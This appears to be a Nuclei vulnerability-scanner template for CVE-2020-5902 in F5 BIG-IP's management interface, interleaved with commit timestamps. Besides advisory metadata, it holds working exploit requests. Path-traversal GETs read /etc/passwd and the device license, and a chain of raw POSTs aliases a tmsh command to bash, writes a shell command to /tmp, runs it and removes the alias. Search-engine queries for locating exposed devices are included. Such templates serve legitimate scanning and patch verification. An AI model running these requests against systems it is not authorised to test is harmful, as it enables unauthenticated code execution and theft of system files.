2021-01-02 04:56:15 +00:00
id : CVE-2020-5902
2020-07-05 08:11:58 +00:00
info :
2022-04-29 19:58:07 +00:00
name : F5 BIG-IP TMUI - Remote Code Execution
2021-06-09 12:20:56 +00:00
author : madrobot,dwisiswant0,ringo
2021-09-10 11:26:40 +00:00
severity : critical
2022-04-29 19:58:07 +00:00
description : F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the necessary security patches or upgrade to a non-vulnerable version of F5 BIG-IP TMUI.
2021-08-18 11:37:49 +00:00
reference :
2021-03-24 07:00:21 +00:00
- http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html
- http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html
- http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html
- https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/
- https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
- https://support.f5.com/csp/article/K52145254
- https://swarm.ptsecurity.com/rce-in-f5-big-ip/
- https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
- https://www.kb.cert.org/vuls/id/290915
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-5902
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-5902
2023-07-11 19:49:27 +00:00
cwe-id : CWE-22
2024-03-23 09:28:19 +00:00
epss-score : 0.97563
2024-06-07 10:04:29 +00:00
epss-percentile : 0.99999
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 8
2023-07-11 19:49:27 +00:00
vendor : f5
product : big-ip_access_policy_manager
2024-05-31 19:23:20 +00:00
shodan-query : http.title:"big-ip®-+redirect" +"server"
fofa-query : title="big-ip®-+redirect" +"server"
google-query : intitle:"big-ip®-+redirect" +"server"
2024-01-14 09:21:50 +00:00
tags : cve,cve2020,bigip,rce,kev,packetstorm,f5
2020-07-05 08:11:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-07-05 08:11:58 +00:00
- method : GET
path :
2020-07-05 16:15:24 +00:00
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
2020-07-06 11:14:01 +00:00
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
2020-08-23 00:37:43 +00:00
- "{{BaseURL}}/hsqldb%0a"
2021-09-08 12:17:19 +00:00
2020-07-06 11:14:01 +00:00
matchers-condition : and
2020-07-05 08:11:58 +00:00
matchers :
2020-07-05 16:15:24 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2020-07-06 11:14:01 +00:00
- "BIG-IP release ([\\d.]+)"
- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
2020-08-23 00:37:43 +00:00
- "HSQL Database Engine Servlet"
2020-07-06 11:14:01 +00:00
condition : or
2021-09-08 12:17:19 +00:00
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2020-07-06 11:14:01 +00:00
- raw :
2020-07-06 11:28:20 +00:00
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host : {{Hostname}}
2020-07-06 11:14:01 +00:00
2020-07-06 14:45:44 +00:00
command=create%20cli%20alias%20private%20list%20command%20bash
2020-07-06 11:28:20 +00:00
- |
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host : {{Hostname}}
2020-07-06 11:14:01 +00:00
2020-07-06 14:45:44 +00:00
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
2020-07-06 11:28:20 +00:00
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host : {{Hostname}}
2020-07-06 11:14:01 +00:00
2020-07-06 14:45:44 +00:00
command=list%20%2Ftmp%2Fnonexistent
2020-07-06 11:28:20 +00:00
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host : {{Hostname}}
2020-07-06 11:14:01 +00:00
2020-07-06 14:45:44 +00:00
command=delete%20cli%20alias%20private%20list
2021-09-08 12:17:19 +00:00
2020-07-06 11:14:01 +00:00
matchers-condition : and
matchers :
- type : word
words :
2020-08-23 00:37:43 +00:00
- "h3ll0_w0Rld"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100b55589f8e521267651b71c66d1fdf3872aae305a7e04d85a3d25d2996a5fad6a022057127356a3ffc3a7b708082e130a21767fd7a5a448be18de27c1ff42bda802f7:922c64590222798bb761d5b6d8e72950